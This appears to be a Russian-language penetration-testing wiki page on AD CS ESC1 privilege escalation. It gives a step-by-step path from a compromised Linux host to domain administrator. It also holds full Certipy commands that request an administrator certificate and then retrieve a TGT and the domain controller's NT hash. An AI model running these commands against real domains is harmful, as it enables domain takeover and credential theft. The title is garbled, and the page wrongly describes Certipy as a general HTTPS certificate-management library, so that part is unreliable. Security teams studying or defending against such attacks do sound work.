?????????????? ???????? ? AD

Например:

- Вы взломали Linux машины, имеющую доступ в домен (это значит, что у нее есть машинная учетная запись в домене, и она хранится где-то в файловой системе).
- С высокой долей вероятности этот файл с названием *.ccache может лежать в папке /tmp/ или файл *.keytab в папке /etc
- Используя обнаруженный файл доменной машинной учетной записи, вы можете использовать его для атаки PassTheTicket и обратиться к какому либо из сервисов AD.
- Вы можете получить доступ в ActiveDirectory через протокол LDAP и узнать, какая машина отвечает за сервис AD CS (Active Directory Certificate Services) или же, получив доступ в Windows машине, в домене выполнить команду: certutil -config - -ping, для получения списка Certificate Authority.
- Далее, в случае некорректной настройки AD CS, вы можете, используя утилиту Certipy, попробовать выпустить себе сертификат по шаблону, который разрешает через аутентификацию клиента получателю сертификата указать произвольное альтернативное имя субъекта (SAN).
- Таким образом, вы сможете выпустить сертификат на имя администратора домена и воспользоваться им для получения доступа уровня администратора на контроллере домена.

Certipy

Certipy предназначена для автоматизации процесса генерации и управления сертификатами и ключами шифрования в сетевых приложениях на языке Python. Она предоставляет набор инструментов для создания и управления сертификатами X.509, которые могут быть использованы для обеспечения безопасной передачи данных через сети, например, для шифрования трафика HTTPS.

Эксплуатация с Certipy

Запрос сертификата по шаблону создания сертификата для другого пользователя:

```
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
ca.corp.local -template ESC1-Test -upn administrator@corp.local -dns dc.corp.local

Certipy v4.0.0 - by Oliver Lyak (ly4k)
```

```
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identifications

    UPN: 'administrator@corp.local'
    DNS Host Name: 'dc.corp.local'

[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_dc.pfx'
```

Запрос TGT и получение NT хеша с использованием полученного ранее сертификата:

```
$ certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:

    [0] UPN: 'administrator@corp.local'

    [1] DNS Host Name: 'dc.corp.local'

> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712629962b3d5a3641529187b0
```

Дополнительные ресурсы

- Pass The Hash
- Lateral Movement
- Password Spraying

Revision #1
Created 12 October 2025 12:54:21 by Admin
Updated 12 October 2025 12:58:07 by Admin